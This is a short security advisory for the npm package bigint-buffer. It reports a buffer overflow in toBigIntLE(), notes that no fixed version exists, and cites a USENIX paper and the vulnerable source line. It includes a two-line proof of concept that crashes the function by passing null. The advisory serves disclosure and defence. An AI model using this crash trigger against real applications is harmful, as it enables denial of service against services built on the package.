SNYK-JS-BIGINTBUFFER-3364597

## Overview [bigint-buffer](https://www.npmjs.com/package/bigint-buffer) is a Node utility that converts TC39 Proposed BigInts to and from buffers Affected versions of this package are vulnerable to Buffer Overflow in the `toBigIntLE()` function. Attackers can exploit this to crash the application. ## PoC ```js let be = require('bigint-buffer'); console.log(be.toBigIntLE(null)); ``` ## Remediation There is no fixed version for `bigint-buffer`. ## References - [Native Node Extension Risks](https://www.usenix.org/system/files/sec23fall-prepub-262_staicu.pdf) - [Vulnerable Code](https://github.com/no2chem/bigint-buffer/blob/master/src/index.ts#L25)